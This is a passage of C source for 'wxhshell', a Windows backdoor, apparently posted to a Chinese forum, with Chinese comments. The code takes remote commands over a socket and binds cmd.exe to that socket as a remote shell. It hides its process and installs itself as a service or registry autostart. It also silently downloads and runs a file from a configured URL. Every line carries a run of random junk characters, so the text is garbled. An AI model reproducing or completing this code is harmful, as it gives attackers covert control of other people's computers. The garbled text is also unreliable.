  case '?': { <*16(!k0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tItX y  
    break; [I '0,y  
  } nw-xSS{  
  // 安装 _<k\FU r  
  case 'i': { dgR g>)V  
    if(Install()) {MtpkUN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&x#rjo#  
    else mHV%I@`Y6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CtyoHvw+M  
    break; ciBP7>'::  
    } h`KFL/fT  
  // 卸载 {@6= Q 6L  
  case 'r': { G`SUxhCk  
    if(Uninstall()) K0-ypU*P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ky,;9G]  
    else 5]KW^sL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^:cG4e  
    break; B~]k#Ot)  
    } FQu8 vwV6>  
  // 显示 wxhshell 所在路径 h1B? 8pD  
  case 'p': { qaiNz S@q  
    char svExeFile[MAX_PATH]; &+Z,hs9%  
    strcpy(svExeFile,"\n\r"); !\zWF  
      strcat(svExeFile,ExeFile); jN{Xfjmfv  
        send(wsh,svExeFile,strlen(svExeFile),0); LPZF)@|`  
    break; V=R 3)GC  
    } P\yDa*m  
  // 重启 {P*pk c  
  case 'b': { ah+~y,Gl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C7rNV0.Fq  
    if(Boot(REBOOT)) E@@5BEB ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S>h;K`  
    else { 15%w 8u  
    closesocket(wsh); '8Q]C*Z  
    ExitThread(0); xbdN0MAU  
    } ^T*?>%`  
    break; ![`Ay4AZ@a  
    } vI:;A/&  
  // 关机 rSZd!OQ  
  case 'd': { 'FqQzx"r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Huy5-[)15  
    if(Boot(SHUTDOWN)) k.5u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xQ}pu2@d  
    else { 5:pM 4J  
    closesocket(wsh); QKyo`g7  
    ExitThread(0); pf1BN@ t  
    } 61SlVec*o8  
    break; o|>'h$  
    } Sh/T,  
  // 获取shell cc,^6[OH@  
  case 's': { f[@77m*  
    CmdShell(wsh); XG}C+;4Aw  
    closesocket(wsh);  z_F-T=_  
    ExitThread(0); kDEPs$^  
    break; 5Sm}n H  
  }  a][f  
  // 退出 G9Y#kBr  
  case 'x': { .X@FXx&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  'C`U"I  
    CloseIt(wsh); _7H7 dV  
    break; !k 6K?xt  
    } DnC{YK  
  // 离开 &+cEV6vb+  
  case 'q': { iIMd!Q.)@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~D<IB#C  
    closesocket(wsh); D&od?3}E  
    WSACleanup(); "U e. @>  
    exit(1); Mmxlp .l  
    break; 5*+!+V^?X  
        } (zgW%{V@  
  } 0xxg|;h.,g  
  } d6'{rje(  
@OV|]u  
  // 提示信息 *AG#316  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <oR a3Gi(%  
} k[bD\'  
  } &,}j #3<  
JW{rA6?   
  return; q)Lu_6 mg  
} q"%_tS  
 8cU}I4|  
// shell模块句柄 tmv&U;0Z  
int CmdShell(SOCKET sock) Fpm|_f7  
{ y`\@N"Cf  
STARTUPINFO si; fa++MNf}3  
ZeroMemory(&si,sizeof(si)); :Pvzl1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gYNjzew'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1$D_6U:H0  
PROCESS_INFORMATION ProcessInfo; +b.g$CRr  
char cmdline[]="cmd"; .LZwuJ^;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ).Fpgxs  
  return 0; ySx>L uY#3  
} 8VeQ-#7M/  
-7*ET3NSI/  
// 自身启动模式 v/](yT  
int StartFromService(void) [Yo,*,y31  
{ :e_V7t)o  
typedef struct d@ i}-;  
{ ?\vh9  
  DWORD ExitStatus; N9jH\0nG  
  DWORD PebBaseAddress; Hw7;;HK 7  
  DWORD AffinityMask; B P2=2)Q  
  DWORD BasePriority; Ka[t75~;  
  ULONG UniqueProcessId; xC{qV,   
  ULONG InheritedFromUniqueProcessId; uehDIl0\[b  
}   PROCESS_BASIC_INFORMATION; I/&%]"[^u  
**$LR<L  
PROCNTQSIP NtQueryInformationProcess; Gcdd3W`O  
"/3 db[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *G{^|z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oE+R3[D?r  
ox(j^x]NC  
  HANDLE             hProcess; .ni_p 6!  
  PROCESS_BASIC_INFORMATION pbi; 4(|cG7>9-  
ba[1wFmcL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *]AdUEV?  
  if(NULL == hInst ) return 0; -db_E#  
/JHc!D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J&M o%"[)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7[> 6i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b\3Oyp>  
`V`lo,"\  
  if (!NtQueryInformationProcess) return 0; ht2\y&si  
AfX}y+Ah  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,u+PyG7 cb  
  if(!hProcess) return 0; Bk*F_>X"  
3on7~*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j/fzzI0@  
f|B=_p80  
  CloseHandle(hProcess); JBXrFC;  
v3aYc:C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }q $5ig  
if(hProcess==NULL) return 0; y0#u9t"Z;  
oXb;w@:  
HMODULE hMod; Fx;QU)1l3  
char procName[255]; )6q,>whI]  
unsigned long cbNeeded; r[BVvX/,F  
l8I /0`_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  swK-/$#  
F({HP)9b  
  CloseHandle(hProcess); hEBY8=gK  
]^lw*724'>  
if(strstr(procName,"services")) return 1; // 以服务启动 }% `.h"  
#~7ip\Uf[  
  return 0; // 注册表启动 zG ^$"f2  
} P(H8[,  
PcA2/!a  
// 主模块 *~t6(v?  
int StartWxhshell(LPSTR lpCmdLine) v.pBX<  
{ tn Pv70m  
  SOCKET wsl; j6Yy6X]  
BOOL val=TRUE; t=Xv;=daB  
  int port=0; SZ,YS 4M  
  struct sockaddr_in door; |y0(Q V  
CDP U\ZG  
  if(wscfg.ws_autoins) Install(); d8[J@M53|T  
L1cI`9  
port=atoi(lpCmdLine); Z Uox Mm  
\6R,Nq  
if(port<=0) port=wscfg.ws_port; :-/M?,Q"  
t .7?  
  WSADATA data; \/: {)T~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k< y>)  
,1[q^-9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '}fzX2Q#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )n2 re?S  
  door.sin_family = AF_INET; %Z):>'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); | #47O  
  door.sin_port = htons(port); \QYFAa  
5*Y^\N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d@5[B0eH  
closesocket(wsl); L<ue$'  
return 1; Dp)=0<$y  
} sg$rzT-S4  
Tk5W'p|6f  
  if(listen(wsl,2) == INVALID_SOCKET) { j!U-'zJ  
closesocket(wsl); Dpl A?  
return 1; .P[ _<8  
} thifRd$4  
  Wxhshell(wsl); :_g$.h%%  
  WSACleanup(); yXHUJgjl/  
KY51rw.  
return 0; [n \2  
xa<UM5eI  
} n)^i/ nXb'  
[8T^@YN  
// 以NT服务方式启动 :9QZPsL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w8U&ls1b  
{ 9s6U}a'c  
DWORD   status = 0; G#d{,3Gq1  
  DWORD   specificError = 0xfffffff; 9f&C  
>pp5;h8!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "nw;NIp!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b[o"7^H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jl#%uU/sx  
  serviceStatus.dwWin32ExitCode     = 0; vb<oi&X  
  serviceStatus.dwServiceSpecificExitCode = 0; e[&L9U6GW-  
  serviceStatus.dwCheckPoint       = 0; KG|n  
  serviceStatus.dwWaitHint       = 0; }a/x._[s  
J&.{7YF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EfCx`3~EX  
  if (hServiceStatusHandle==0) return; `$W_R[  
$Zug Bh[b  
status = GetLastError(); Cjc6d4~  
  if (status!=NO_ERROR) va}Pj#=  
{ r76J N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ycDCB(D}  
    serviceStatus.dwCheckPoint       = 0; t!r A%*  
    serviceStatus.dwWaitHint       = 0; 8~J(](QA  
    serviceStatus.dwWin32ExitCode     = status; 0yuS3VY)  
    serviceStatus.dwServiceSpecificExitCode = specificError; .J)I | '  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6W]9$n\"?  
    return; ABD)}n=%c  
  } e?JW   
NbgK@eV}+{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i{`FmrPO~  
  serviceStatus.dwCheckPoint       = 0; $a ]_w.@  
  serviceStatus.dwWaitHint       = 0; l5Gq|!2yxD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P<X\%_Iat  
} n1ly y0%u  
G9xmmc  
// 处理NT服务事件,比如:启动、停止 :6vm+5!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 95A1:A^t  
{ Xq_5Qv  
switch(fdwControl) YjxF}VI~<  
{ /OLFcxEWh  
case SERVICE_CONTROL_STOP: cx&>#8s&  
  serviceStatus.dwWin32ExitCode = 0; }o(zj=7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MvK !u  
  serviceStatus.dwCheckPoint   = 0; _AAaC_q  
  serviceStatus.dwWaitHint     = 0; !g5xq  
  { bpH^:fyLU`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "alyfyBu'M  
  } x4;"!Kq\  
  return; ?[g=F <r  
case SERVICE_CONTROL_PAUSE: "Zl5<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fI{&#~f4C  
  break; 5,_u/5Y4  
case SERVICE_CONTROL_CONTINUE: IsZHe lg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .1KhBgy^K  
  break; d1AioQ9  
case SERVICE_CONTROL_INTERROGATE: oSy yd  
  break; YwDbPX  
}; lQ" p !  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gkES5Q  
} pEBM3r!X  
(tIo:j  
// 标准应用程序主函数 gy#/D& N[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3RYpJAH  
{ OB Otuu.  
p "n$!ilbm  
// 获取操作系统版本 tzZ`2pSh  
OsIsNt=GetOsVer(); &O9 |#YUq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H`1{_  
W+UfGk}A  
  // 从命令行安装 0ZZZoP o  
  if(strpbrk(lpCmdLine,"iI")) Install(); %E#s\B,w  
"D63I|O)  
  // 下载执行文件 M+U9R@  
if(wscfg.ws_downexe) { [@J/eWB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X-6de>=   
  WinExec(wscfg.ws_filenam,SW_HIDE); $c 0h. t  
} e+~\+:[?  
wQ^EYKD  
if(!OsIsNt) { -:|?h{q?u  
// 如果时win9x,隐藏进程并且设置为注册表启动 `o=q%$f#k~  
HideProc(); }4 )H   
StartWxhshell(lpCmdLine); (7*%K&x  
} ,w {e  
else >, F bX8Zz  
  if(StartFromService()) oB}BU`-l  
  // 以服务方式启动 (gP)%  
  StartServiceCtrlDispatcher(DispatchTable); ^ DaBz\  
else ^hc!FD  
  // 普通方式启动 a1C{(f)  
  StartWxhshell(lpCmdLine); c 0,0`+2~  
pT=JP> nd^  
return 0; NW]Lj >0Y  
}
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只看该作者 1 发表于: 2006-10-10
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